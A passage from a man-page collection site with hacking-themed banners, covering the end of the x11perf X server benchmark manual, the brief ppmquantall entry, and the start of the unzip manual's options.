x11perf also measures graphics performance for operations not normally used in standalone graphics displays, but are nonetheless used frequently by X applications. Such operations include CopyPlane (used to map bitmaps into pixels), scrolling (used in text windows), and various stipples and tiles (used for CAD and color half-toning, respectively).

x11perf should be used to analyze particular strengths and weaknesses of servers, and is most useful to a server writer who wants to analyze and improve a server. x11perf is meant to comprehensively exercise just about every X11 operation you can perform; it does not purport to be a representative sample of the operations that X11 applications actually use. While it can be used as a benchmark, it was written and is intended as a performance testing tool.

As such, x11perf DOES NOT whittle down measurements to a single ``HeXStones’’ or ``MeXops’’ number. We consider such numbers to be uninformative at best and misleading at worst. Some servers which are very fast for certain applications can be very slow for others. No single number or small set of numbers are sufficient to characterize how an X implementation will perform on all applications. However, by knowledge of your favorite application, you may be able to use the numbers x11perf reports to predict its performance on a given X implementation.

That said, you might also want to look at x11perfcomp(1), a program to compare the outputs of different x11perf runs. You provide a list of files containing results from x11perf, and it lays them out in a nice tabular format.

For repeatable results, x11perf should be run using a local connection on a freshly-started server. The default configuration runs each test 5 times, in order to see if each trial takes approximately the same amount of time. Strange glitches should be examined; if non-repeatable one might chalk them up to daemons and network traffic. Each trial is run for 5 seconds, in order to reduce random time differences. The number of objects processed per second is displayed to 3 significant digits, but you’ll be lucky on most UNIX system if the numbers are actually consistent to 2 digits. x11perf moves the cursor out of the test window; you should be careful not to bump the mouse and move it back into the window. (A prize to people who correctly explain why!!).

Before running a test, x11perf determines what the round trip time to the server is, and factors this out of the final timing reported. It ensures that the server has actually performed the work requested by fetching a pixel back from the test window, which means that servers talking to graphics accelerators can’t claim that they are done, while in the meantime the accelerator is painting madly.

By default x11perf automatically calibrates the number of repetitions of each test, so that each should take approximately the same length of time to run across servers of widely differing speeds. However, since each test must be run to completion at least once, some slow servers may take a very long time, particularly on the window moving and resizing tests, and on the arc drawing tests.

All timing reports are for the smallest object involved. For example, the line tests use a PolyLine request to paint several lines at once, but report how many lines per second the server can paint, not how many PolyLine requests per second. Text tests paint a line of characters, but report on the number of characters per second. Some window tests map, unmap, or move a single parent window, but report on how many children windows per second the server can map, unmap, or move.

The current program is mostly the responsibility of Joel McCormack. It is based upon the x11perf developed by Phil Karlton, Susan Angebranndt, Chris Kent, Mary Walker, and Todd Newman, who wanted to assess performance differences between various servers. Several tests were added in order to write and tune the PMAX (DECStation 3100) servers. For a general release to the world, x11perf was rewritten to ease making comparisons between widely varying machines, to cover most important (and unimportant) X functionality, and to exercise graphics operations in as many different orientations and alignments as possible.

OPTIONS

x11perf is solely Xlib based, and accepts the options listed below:

-display host:dpy
Specifies which display to use.

-sync
Runs the tests in synchronous mode. Normally only useful for debugging x11perf .

-pack
Runs rectangle tests so that they pack rectangles right next to each other. This makes it easy to debug server code for stipples and tiles…if the pattern looks ugly, you’ve got alignment problems.

-repeat <n>
Repeats each test n times (by default each test is run 5 times).

-time <s>
Specifies how long in seconds each test should be run (default 5 seconds).

-pause <s>
Specifies how long, in seconds, to pause for between each run.

-all
Runs all tests. This may take a while.

-range <test1>[,<test2>]
Runs all the tests starting from the specified name test1 until the name test2, including both the specified tests. The testnames should be one of the options starting from -dot. (eg) -range line100 will perform the tests from the 100 pixel line test, and go on till the last test, -range line100,dline10 will do the tests from line100 to dline10.

-labels
Generates just the descriptive labels for each test specified. See x11perfcomp for more details.

-fg color-or-pixel
Specifies the foreground color or pixel value to use.

-bg color-or-pixel
Specifies the background color or pixel value to use.

-clips default
Default number of clip windows.

-ddbg color-or-pixel
Specifies the color or pixel value to use for drawing the odd segments of a DoubleDashed line or arc. This will default to the bg color.

-rop <rop0 rop1 …>
Use specified raster ops (default is GXcopy). This option only affects graphics benchmarks in which the graphics function is actually used.

-pm <pm0 pm1 …>
Use specified planemasks (default is ~0). This option only affects graphics benchmarks in which the planemask is actually used.

-depth <depth>
Use a visual with <depth> planes per pixel (default is the default visual).

-vclass <vclass>
Use a visual with of class <vclass>. <vclass> can be StaticGray, GrayScale, StaticColor, PseudoColor, TrueColor, or DirectColor. (default is the default visual).

-reps <n>
Specify the repetition count (Default is number that takes approx. 5 seconds)

-subs <s0 s1 …>
Specify the number of sub windows to use in the Window tests. Default is 4, 16, 25, 50, 75, 100 and 200.

-v1.2
Perform only x11perf Version 1.2 tests using Version 1.2 semantics.

-v1.3
Perform only x11perf Version 1.3 tests using Version 1.3 semantics.

-su
Set the save_under window attribute to True on all windows created by x11perf. Default is False.

-bs <backing_store_hint>
Set the backing_store window attribute to the given value on all windows created by x11perf. <backing_store_hint> can be WhenMapped or Always. Default is NotUseful.

-dot
Dot.

-rect1
1x1 solid-filled rectangle.

-rect10
10x10 solid-filled rectangle.

-rect100
100x100 solid-filled rectangle.

-rect500
500x500 solid-filled rectangle.

-srect1
1x1 transparent stippled rectangle, 8x8 stipple pattern.

-srect10
10x10 transparent stippled rectangle, 8x8 stipple pattern.

-srect100
100x100 transparent stippled rectangle, 8x8 stipple pattern.

-srect500
500x500 transparent stippled rectangle, 8x8 stipple pattern.

-osrect1
1x1 opaque stippled rectangle, 8x8 stipple pattern.

-osrect10
10x10 opaque stippled rectangle, 8x8 stipple pattern.

-osrect100
100x100 opaque stippled rectangle, 8x8 stipple pattern.

-osrect500
500x500 opaque stippled rectangle, 8x8 stipple pattern.

-tilerect1
1x1 tiled rectangle, 4x4 tile pattern.

-tilerect10
10x10 tiled rectangle, 4x4 tile pattern.

-tilerect100
100x100 tiled rectangle, 4x4 tile pattern.

-tilerect500
500x500 tiled rectangle, 4x4 tile pattern.

-oddsrect1
1x1 transparent stippled rectangle, 17x15 stipple pattern.

-oddsrect10
10x10 transparent stippled rectangle, 17x15 stipple pattern.

-oddsrect100
100x100 transparent stippled rectangle, 17x15 stipple pattern.

-oddsrect500
500x500 transparent stippled rectangle, 17x15 stipple pattern.

-oddosrect1
1x1 opaque stippled rectangle, 17x15 stipple pattern.

-oddosrect10
10x10 opaque stippled rectangle, 17x15 stipple pattern.

-oddosrect100
100x100 opaque stippled rectangle, 17x15 stipple pattern.

-oddosrect500
500x500 opaque stippled rectangle, 17x15 stipple pattern.

-oddtilerect1
1x1 tiled rectangle, 17x15 tile pattern.

-oddtilerect10
10x10 tiled rectangle, 17x15 tile pattern.

-oddtilerect100
100x100 tiled rectangle, 17x15 tile pattern.

-oddtilerect500
500x500 tiled rectangle, 17x15 tile pattern.

-bigsrect1
1x1 stippled rectangle, 161x145 stipple pattern.

-bigsrect10
10x10 stippled rectangle, 161x145 stipple pattern.

-bigsrect100
100x100 stippled rectangle, 161x145 stipple pattern.

-bigsrect500
500x500 stippled rectangle, 161x145 stipple pattern.

-bigosrect1
1x1 opaque stippled rectangle, 161x145 stipple pattern.

-bigosrect10
10x10 opaque stippled rectangle, 161x145 stipple pattern.

-bigosrect100
100x100 opaque stippled rectangle, 161x145 stipple pattern.

-bigosrect500
500x500 opaque stippled rectangle, 161x145 stipple pattern.

-bigtilerect1
1x1 tiled rectangle, 161x145 tile pattern.

-bigtilerect10
10x10 tiled rectangle, 161x145 tile pattern.

-bigtilerect100
100x100 tiled rectangle, 161x145 tile pattern.

-bigtilerect500
500x500 tiled rectangle, 161x145 tile pattern.

-eschertilerect1
1x1 tiled rectangle, 215x208 tile pattern.

-eschertilerect10
10x10 tiled rectangle, 215x208 tile pattern.

-eschertilerect100
100x100 tiled rectangle, 215x208 tile pattern.

-eschertilerect500
500x500 tiled rectangle, 215x208 tile pattern.

-seg1
1-pixel thin line segment.

-seg10
10-pixel thin line segment.

-seg100
100-pixel thin line segment.

-seg500
500-pixel thin line segment.

-seg100c1
100-pixel thin line segment (1 obscuring rectangle).

-seg100c2
100-pixel thin line segment (2 obscuring rectangles).

-seg100c3
100-pixel thin line segment (3 obscuring rectangles).

-dseg10
10-pixel thin dashed segment (3 on, 2 off).

-dseg100
100-pixel thin dashed segment (3 on, 2 off).

-ddseg100
100-pixel thin double-dashed segment (3 fg, 2 bg).

-hseg10
10-pixel thin horizontal line segment.

-hseg100
100-pixel thin horizontal line segment.

-hseg500
500-pixel thin horizontal line segment.

-vseg10
10-pixel thin vertical line segment.

-vseg100
100-pixel thin vertical line segment.

-vseg500
500-pixel thin vertical line segment.

-whseg10
10-pixel wide horizontal line segment.

-whseg100
100-pixel wide horizontal line segment.

-whseg500
500-pixel wide horizontal line segment.

-wvseg10
10-pixel wide vertical line segment.

-wvseg100
100-pixel wide vertical line segment.

-wvseg500
500-pixel wide vertical line segment.

-line1
1-pixel thin (width 0) line.

-line10
10-pixel thin line.

-line100
100-pixel thin line.

-line500
500-pixel thin line.

-dline10
10-pixel thin dashed line (3 on, 2 off).

-dline100
100-pixel thin dashed line (3 on, 2 off).

-ddline100
100-pixel thin double-dashed line (3 fg, 2 bg).

-wline10
10-pixel line, line width 1.

-wline100
100-pixel line, line width 10.

-wline500
500-pixel line, line width 50.

-wdline100
100-pixel dashed line, line width 10 (30 on, 20 off).

-wddline100
100-pixel double-dashed line, line width 10 (30 fg, 20 bg).

-orect10
10x10 thin rectangle outline.

-orect100
100-pixel thin vertical line segment.

-orect500
500-pixel thin vertical line segment.

-worect10
10x10 wide rectangle outline.

-worect100
100-pixel wide vertical line segment.

-worect500
500-pixel wide vertical line segment.

-circle1
1-pixel diameter thin (line width 0) circle.

-circle10
10-pixel diameter thin circle.

-circle100
100-pixel diameter thin circle.

-circle500
500-pixel diameter thin circle.

-dcircle100
100-pixel diameter thin dashed circle (3 on, 2 off).

-ddcircle100
100-pixel diameter thin double-dashed circle (3 fg, 2 bg).

-wcircle10
10-pixel diameter circle, line width 1.

-wcircle100
100-pixel diameter circle, line width 10.

-wcircle500
500-pixel diameter circle, line width 50.

-wdcircle100
100-pixel diameter dashed circle, line width 10 (30 on, 20 off).

-wddcircle100
100-pixel diameter double-dashed circle, line width 10 (30 fg, 20 bg).

-pcircle10
10-pixel diameter thin partial circle, orientation and arc angle evenly distributed.

-pcircle100
100-pixel diameter thin partial circle.

-wpcircle10
10-pixel diameter wide partial circle.

-wpcircle100
100-pixel diameter wide partial circle.

-fcircle1
1-pixel diameter filled circle.

-fcircle10
10-pixel diameter filled circle.

-fcircle100
100-pixel diameter filled circle.

-fcircle500
500-pixel diameter filled circle.

-fcpcircle10
10-pixel diameter partial filled circle, chord fill, orientation and arc angle evenly distributed.

-fcpcircle100
100-pixel diameter partial filled circle, chord fill.

-fspcircle10
10-pixel diameter partial filled circle, pie slice fill, orientation and arc angle evenly distributed.

-fspcircle100
100-pixel diameter partial filled circle, pie slice fill.

-ellipse10
10-pixel diameter thin (line width 0) ellipse, major and minor axis sizes evenly distributed.

-ellipse100
100-pixel diameter thin ellipse.

-ellipse500
500-pixel diameter thin ellipse.

-dellipse100
100-pixel diameter thin dashed ellipse (3 on, 2 off).

-ddellipse100
100-pixel diameter thin double-dashed ellipse (3 fg, 2 bg).

-wellipse10
10-pixel diameter ellipse, line width 1.

-wellipse100
100-pixel diameter ellipse, line width 10.

-wellipse500
500-pixel diameter ellipse, line width 50.

-wdellipse100
100-pixel diameter dashed ellipse, line width 10 (30 on, 20 off).

-wddellipse100
100-pixel diameter double-dashed ellipse, line width 10 (30 fg, 20 bg).

-pellipse10
10-pixel diameter thin partial ellipse.

-pellipse100
100-pixel diameter thin partial ellipse.

-wpellipse10
10-pixel diameter wide partial ellipse.

-wpellipse100
100-pixel diameter wide partial ellipse.

-fellipse10
10-pixel diameter filled ellipse.

-fellipse100
100-pixel diameter filled ellipse.

-fellipse500
500-pixel diameter filled ellipse.

-fcpellipse10
10-pixel diameter partial filled ellipse, chord fill.

-fcpellipse100
100-pixel diameter partial filled ellipse, chord fill.

-fspellipse10
10-pixel diameter partial filled ellipse, pie slice fill.

-fspellipse100
100-pixel diameter partial filled ellipse, pie slice fill.

-triangle1
Fill 1-pixel/side triangle.

-triangle10
Fill 10-pixel/side triangle.

-triangle100
Fill 100-pixel/side triangle.

-trap1
Fill 1x1 trapezoid.

-trap10
Fill 10x10 trapezoid.

-trap100
Fill 100x100 trapezoid.

-trap300
Fill 300x300 trapezoid.

-strap1
Fill 1x1 transparent stippled trapezoid, 8x8 stipple pattern.

-strap10
Fill 10x10 transparent stippled trapezoid, 8x8 stipple pattern.

-strap100
Fill 100x100 transparent stippled trapezoid, 8x8 stipple pattern.

-strap300
Fill 300x300 transparent stippled trapezoid, 8x8 stipple pattern.

-ostrap1
Fill 10x10 opaque stippled trapezoid, 8x8 stipple pattern.

-ostrap10
Fill 10x10 opaque stippled trapezoid, 8x8 stipple pattern.

-ostrap100
Fill 100x100 opaque stippled trapezoid, 8x8 stipple pattern.

-ostrap300
Fill 300x300 opaque stippled trapezoid, 8x8 stipple pattern.

-tiletrap1
Fill 10x10 tiled trapezoid, 4x4 tile pattern.

-tiletrap10
Fill 10x10 tiled trapezoid, 4x4 tile pattern.

-tiletrap100
Fill 100x100 tiled trapezoid, 4x4 tile pattern.

-tiletrap300
Fill 300x300 tiled trapezoid, 4x4 tile pattern.

-oddstrap1
Fill 1x1 transparent stippled trapezoid, 17x15 stipple pattern.

-oddstrap10
Fill 10x10 transparent stippled trapezoid, 17x15 stipple pattern.

-oddstrap100
Fill 100x100 transparent stippled trapezoid, 17x15 stipple pattern.

-oddstrap300
Fill 300x300 transparent stippled trapezoid, 17x15 stipple pattern.

-oddostrap1
Fill 10x10 opaque stippled trapezoid, 17x15 stipple pattern.

-oddostrap10
Fill 10x10 opaque stippled trapezoid, 17x15 stipple pattern.

-oddostrap100
Fill 100x100 opaque stippled trapezoid, 17x15 stipple pattern.

-oddostrap300
Fill 300x300 opaque stippled trapezoid, 17x15 stipple pattern.

-oddtiletrap1
Fill 10x10 tiled trapezoid, 17x15 tile pattern.

-oddtiletrap10
Fill 10x10 tiled trapezoid, 17x15 tile pattern.

-oddtiletrap100
Fill 100x100 tiled trapezoid, 17x15 tile pattern.

-oddtiletrap300
Fill 300x300 tiled trapezoid, 17x15 tile pattern.

-bigstrap1
Fill 1x1 transparent stippled trapezoid, 161x145 stipple pattern.

-bigstrap10
Fill 10x10 transparent stippled trapezoid, 161x145 stipple pattern.

-bigstrap100
Fill 100x100 transparent stippled trapezoid, 161x145 stipple pattern.

-bigstrap300
Fill 300x300 transparent stippled trapezoid, 161x145 stipple pattern.

-bigostrap1
Fill 10x10 opaque stippled trapezoid, 161x145 stipple pattern.

-bigostrap10
Fill 10x10 opaque stippled trapezoid, 161x145 stipple pattern.

-bigostrap100
Fill 100x100 opaque stippled trapezoid, 161x145 stipple pattern.

-bigostrap300
Fill 300x300 opaque stippled trapezoid, 161x145 stipple pattern.

-bigtiletrap1
Fill 10x10 tiled trapezoid, 161x145 tile pattern.

-bigtiletrap10
Fill 10x10 tiled trapezoid, 161x145 tile pattern.

-bigtiletrap100
Fill 100x100 tiled trapezoid, 161x145 tile pattern.

-bigtiletrap300
Fill 300x300 tiled trapezoid, 161x145 tile pattern.

-eschertiletrap1
Fill 1x1 tiled trapezoid, 216x208 tile pattern.

-eschertiletrap10
Fill 10x10 tiled trapezoid, 216x208 tile pattern.

-eschertiletrap100
Fill 100x100 tiled trapezoid, 216x208 tile pattern.

-eschertiletrap300
Fill 300x300 tiled trapezoid, 216x208 tile pattern.

-complex10
Fill 10-pixel/side complex polygon.

-complex100
Fill 100-pixel/side complex polygon.

-64poly10convex
Fill 10x10 convex 64-gon.

-64poly100convex
Fill 100x100 convex 64-gon.

-64poly10complex
Fill 10x10 complex 64-gon.

-64poly100complex
Fill 100x100 complex 64-gon.

-ftext
Character in 80-char line (6x13).

-f8text
Character in 70-char line (8x13).

-f9text
Character in 60-char line (9x15).

-f14text16
2-byte character in 40-char line (k14).

-tr10text
Character in 80-char line (Times-Roman 10).

-tr24text
Character in 30-char line (Times-Roman 24).

-polytext
Character in 20/40/20 line (6x13, Times-Roman 10, 6x13).

-polytext16
2-byte character in 7/14/7 line (k14, k24).

-fitext
Character in 80-char image line (6x13).

-f8itext
Character in 70-char image line (8x13).

-f9itext
Character in 60-char image line (9x15).

-f14itext16
2-byte character in 40-char image line (k14).

-f24itext16
2-byte character in 23-char image line (k24).

-tr10itext
Character in 80-char image line (Times-Roman 10).

-tr24itext
Character in 30-char image line (Times-Roman 24).

-scroll10
Scroll 10x10 pixels vertically.

-scroll100
Scroll 100x100 pixels vertically.

-scroll500
Scroll 500x500 pixels vertically.

-copywinwin10
Copy 10x10 square from window to window.

-copywinwin100
Copy 100x100 square from window to window.

-copywinwin500
Copy 500x500 square from window to window.

-copypixwin10
Copy 10x10 square from pixmap to window.

-copypixwin100
Copy 100x100 square from pixmap to window.

-copypixwin500
Copy 500x500 square from pixmap to window.

-copywinpix10
Copy 10x10 square from window to pixmap.

-copywinpix100
Copy 100x100 square from window to pixmap.

-copywinpix500
Copy 500x500 square from window to pixmap.

-copypixpix10
Copy 10x10 square from pixmap to pixmap.

-copypixpix100
Copy 100x100 square from pixmap to pixmap.

-copypixpix500
Copy 500x500 square from pixmap to pixmap.

-copyplane10
Copy 10x10 1-bit deep plane.

-copyplane100
Copy 100x100 1-bit deep plane.

-copyplane500
Copy 500x500 1-bit deep plane.

-putimage10
PutImage 10x10 square.

-putimage100
PutImage 100x100 square.

-putimage500
PutImage 500x500 square.

-putimagexy10
PutImage XY format 10x10 square.

-putimagexy100
PutImage XY format 100x100 square.

-putimagexy500
PutImage XY format 500x500 square.

-shmput10
PutImage 10x10 square, MIT shared memory extension.

-shmput100
PutImage 100x100 square, MIT shared memory extension.

-shmput500
PutImage 500x500 square, MIT shared memory extension.

-shmputxy10
PutImage XY format 10x10 square, MIT shared memory extension.

-shmputxy100
PutImage XY format 100x100 square, MIT shared memory extension.

-shmputxy500
PutImage XY format 500x500 square, MIT shared memory extension.

-getimage10
GetImage 10x10 square.

-getimage100
GetImage 100x100 square.

-getimage500
GetImage 500x500 square.

-getimagexy10
GetImage XY format 10x10 square.

-getimagexy100
GetImage XY format 100x100 square.

-getimagexy500
GetImage XY format 500x500 square.

-compwinwin10
Composite 10x10 from window to window.

-compwinwin100
Composite 100x100 from window to window.

-compwinwin500
Composite 500x500 from window to window.

-comppixwin10
Composite 10x10 from pixmap to window.

-comppixwin100
Composite 100x100 from pixmap to window.

-comppixwin500
Composite 500x500 from pixmap to window.

-magpixwin10
Scale 5x5 from pixmap to 10x10 window.

-magpixwin100
Scale 50x50 from pixmap to 100x100 window.

-magpixwin500
Scale 250x250 from pixmap to 500x500 window.

-minpixwin10
Scale 10x10 from pixmap to 5x5 window.

-minpixwin100
Scale 100x100 from pixmap to 50x50 window.

-minpixwin500
Scale 500x500 from pixmap to 250x250 window.

-noop
X protocol NoOperation.

-atom
GetAtomName.

-pointer
QueryPointer.

-prop
GetProperty.

-gc
Change graphics context.

-create
Create child window and map using MapSubwindows.

-ucreate
Create unmapped window.

-map
Map child window via MapWindow on parent.

-unmap
Unmap child window via UnmapWindow on parent.

-destroy
Destroy child window via DestroyWindow parent.

-popup
Hide/expose window via Map/Unmap popup window.

-move
Move window.

-umove
Moved unmapped window.

-movetree
Move window via MoveWindow on parent.

-resize
Resize window.

-uresize
Resize unmapped window.

-circulate
Circulate lowest window to top.

-ucirculate
Circulate unmapped window to top.

X DEFAULTS

There are no X defaults used by this program.

SEE ALSO

X(7), x11perfcomp(1)

AUTHORS

Joel McCormack
Phil Karlton
Susan Angebranndt
Chris Kent
Keith Packard
Graeme Gill

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

633 - Linux cli command ppmquantall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmquantall and provides detailed information about the command ppmquantall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmquantall.

.

NAME 🖥️ ppmquantall 🖥️

replaced by pnmquantall

DESCRIPTION

This program is part of Netpbm(1) .

ppmquantall was obsoleted by pnmquantall(1) , introduced with Netpbm 10.58 (March 2012). pnmquantall is just a renaming to reflect the fact that the program handles all kinds of Netpbm input files, not just PPM. Though this was not always the case, it had been for many years before the renaming.

For Netpbm before 10.58, where the program is still named ppmquantall, just use the pnmquantall manual.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmquantall.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

634 - Linux cli command unzip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unzip and provides detailed information about the command unzip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unzip.

NAME 🖥️ unzip 🖥️

list, test and extract compressed files in a ZIP archive

SYNOPSIS

unzip [-Z] [-cflptTuvz[abjnoqsCDKLMUVWX$/:^]] file[.zip] [file(s) . . .] [-x xfile(s) . . .] [-d exdir]

DESCRIPTION

unzip will list, test, or extract files from a ZIP archive, commonly found on MS-DOS systems. The default behavior (with no options) is to extract into the current directory (and subdirectories below it) all files from the specified ZIP archive. A companion program, zip(1), creates ZIP archives; both programs are compatible with archives created by PKWARE’s PKZIP and PKUNZIP for MS-DOS, but in many cases the program options or default behaviors differ.

ARGUMENTS

file[.zip]
Path of the ZIP archive(s). If the file specification is a wildcard, each matching file is processed in an order determined by the operating system (or file system). Only the filename can be a wildcard; the path itself cannot. Wildcard expressions are similar to those supported in commonly used Unix shells (sh, ksh, csh) and may contain:

  • matches a sequence of 0 or more characters

?
matches exactly 1 character

[. . .]
matches any single character found inside the brackets; ranges are specified by a beginning character, a hyphen, and an ending character. If an exclamation point or a caret (`!’ or `^’) follows the left bracket, then the range of characters within the brackets is complemented (that is, anything except the characters inside the brackets is considered a match). To specify a verbatim left bracket, the three-character sequence ``[[]’’ has to be used.

(Be sure to quote any character that might otherwise be interpreted or modified by the operating system, particularly under Unix and VMS.) If no matches are found, the specification is assumed to be a literal filename; and if that also fails, the suffix .zip is appended. Note that self-extracting ZIP files are supported, as with any other ZIP archive; just specify the .exe suffix (if any) explicitly.

[file(s)]
An optional list of archive members to be processed, separated by spaces. (VMS versions compiled with VMSCLI defined must delimit files with commas instead. See -v in OPTIONS below.) Regular expressions (wildcards) may be used to match multiple members; see above. Again, be sure to quote expressions that would otherwise be expanded or modified by the operating system.

[-x xfile(s)]
An optional list of archive members to be excluded from processing. Since wildcard characters normally match (`/’) directory separators (for exceptions see the option -W), this option may be used to exclude any files that are in subdirectories. For example, ``unzip foo *.[ch] -x */*’’ would extract all C source files in the main directory, but none in any subdirectories. Without the -x option, all C source files in all directories within the zipfile would be extracted.

[-d exdir]
An optional directory to which to extract files. By default, all files and subdirectories are recreated in the current directory; the -d option allows extraction in an arbitrary directory (always assuming one has permission to write to the directory). This option need not appear at the end of the command line; it is also accepted before the zipfile specification (with the normal options), immediately after the zipfile specification, or between the file(s) and the -x option. The option and directory may be concatenated without any white space between them, but note that this may cause normal shell behavior to be suppressed. In particular, ``-d ~’’ (tilde) is expanded by Unix C shells into the name of the user’s home directory, but ``-d~’’ is treated as a literal subdirectory ``~’’ of the current directory.

OPTIONS

Note that, in order to support obsolescent hardware, unzip’s usage screen is limited to 22 or 23 lines and should therefore be considered only a reminder of the basic unzip syntax rather than an exhaustive list of all possible flags. The exhaustive list follows:

-Z
zipinfo(1) mode. If the first option on the command line is -Z, the remaining options are taken to be zipinfo(1) options. See the appropriate manual page for a description of these options.

-A
[OS/2, Unix DLL] print extended help for the DLL’s programming interface (API).

-c
extract files to stdout/screen (``CRT’’). This option is similar to the -p option except that the name of each file is printed as it is extracted, the -a option is allowed, and ASCII-EBCDIC conversion is automatically performed if appropriate. This option is not listed in the unzip usage screen.

-f
freshen existing files, i.e., extract only those files that already exist on disk and that are newer than the disk copies. By default unzip queries before overwriting, but the -o option may be used to suppress the queries. Note that under many operating systems, the TZ (timezone) environment variable must be set correctly in order for -f and -u to work properly (under Unix the variable is usually set automatically). The reasons for this are somewhat subtle but have to do with the differences between DOS-format file times (always local time) and Unix-format times (always in GMT/UTC) and the necessity to compare the two. A typical TZ value is ``PST8PDT’’ (US Pacific time with automatic adjustment for Daylight Savings Time or ``summer time’’).

-l
list archive files (short format). The names, uncompressed file sizes and modification dates and times of the specified files are printed, along with totals for all files specified. If UnZip was compiled with OS2_EAS defined, the -l option also lists columns for the sizes of stored OS/2 extended attributes (EAs) and OS/2 access control lists (ACLs). In addition, the zipfile comment and individual file comments (if any) are displayed. If a file was archived from a single-case file system (for example, the old MS-DOS FAT file system) and the -L option was given, the filename is converted to lowercase and is prefixed with a caret (^).

-p
extract files to pipe (stdout). Nothing but the file data is sent to stdout, and the files are always extracted in binary format, just as they are stored (no conversions).

-t
test archive files. This option extracts each specified file in memory and compares the CRC (cyclic redundancy check, an enhanced checksum) of the expanded file with the original file’s stored CRC value.

-T
[most OSes] set the timestamp on the archive(s) to that of the newest file in each one. This corresponds to zip’s -go option except that it can be used on wildcard zipfiles (e.g., ``unzip -T \*.zip’’) and is much faster.

-u
update existing files and create new ones if needed. This option performs the same function as the -f option, extracting (with query) files that are newer than those with the same name on disk, and in addition it extracts those files that do not already exist on disk. See -f above for information on setting the timezone properly.

-v
list archive files (verbose format) or show diagnostic version info. This option has evolved and now behaves as both an option and a modifier. As an option it has two purposes: when a zipfile is specified with no other options, -v lists archive files verbosely, adding to the basic -l info the compression method, compressed size, compression ratio and 32-bit CRC. In contrast to most of the competing utilities, unzip removes the 12 additional header bytes of encrypted entries from the compressed size numbers. Therefore, compressed size and compression ratio figures are independent of the entry’s encryption status and show the correct compression performance. (The complete size of the encrypted compressed data stream for zipfile entries is reported by the more verbose zipinfo(1) reports, see the separate manual.) When no zipfile is specified (that is, the complete command is simply ``unzip -v’’), a diagnostic screen is printed. In addition to the normal header with release date and version, unzip lists the home Info-ZIP ftp site and where to find a list of other ftp and non-ftp sites; the target operating system for which it was compiled, as well as (possibly) the hardware on which it was compiled, the compiler and version used, and the compilation date; any special compilation options that might affect the program’s operation (see also DECRYPTION below); and any options stored in environment variables that might do the same (see ENVIRONMENT OPTIONS below). As a modifier it works in conjunction with other options (e.g., -t) to produce more verbose or debugging output; this is not yet fully implemented but will be in future releases.

-z
display only the archive comment.

MODIFIERS

-a
convert text files. Ordinarily all files are extracted exactly as they are stored (as ``binary’’ files). The -a option causes files identified by zip as text files (those with the `t’ label in zipinfo listings, rather than `b’) to be automatically extracted as such, converting line endings, end-of-file characters and the character set itself as necessary. (For example, Unix files use line feeds (LFs) for end-of-line (EOL) and have no end-of-file (EOF) marker; Macintoshes use carriage returns (CRs) for EOLs; and most PC operating systems use CR+LF for EOLs and control-Z for EOF. In addition, IBM mainframes and the Michigan Terminal System use EBCDIC rather than the more common ASCII character set, and NT supports Unicode.) Note that zip’s identification of text files is by no means perfect; some ``text’’ files may actually be binary and vice versa. unzip therefore prints ``[text]’’ or ``[binary]’’ as a visual check for each file it extracts when using the -a option. The -aa option forces all files to be extracted as text, regardless of the supposed file type. On VMS, see also -S.

-b
[general] treat all files as binary (no text conversions). This is a shortcut for —a.

-b
[Tandem] force the creation files with filecode type 180 (‘C’) when extracting Zip entries marked as “text”. (On Tandem, -a is enabled by default, see above).

-b
[VMS] auto-convert binary files (see -a above) to fixed-length, 512-byte record format. Doubling the option (-bb) forces all files to be extracted in this format. When extracting to standard output (-c or -p option in effect), the default conversion of text record delimiters is disabled for binary (-b) resp. all (-bb) files.

-B
[when compiled with UNIXBACKUP defined] save a backup copy of each overwritten file. The backup file is gets the name of the target file with a tilde and optionally a unique sequence number (up to 5 digits) appended. The sequence number is applied whenever another file with the original name plus tilde already exists. When used together with the “overwrite all” option -o, numbered backup files are never created. In this case, all backup files are named as the original file with an appended tilde, existing backup files are deleted without notice. This feature works similarly to the default behavior of emacs(1) in many locations.

Example: the old copy of ``foo’’ is renamed to ``foo~’’.

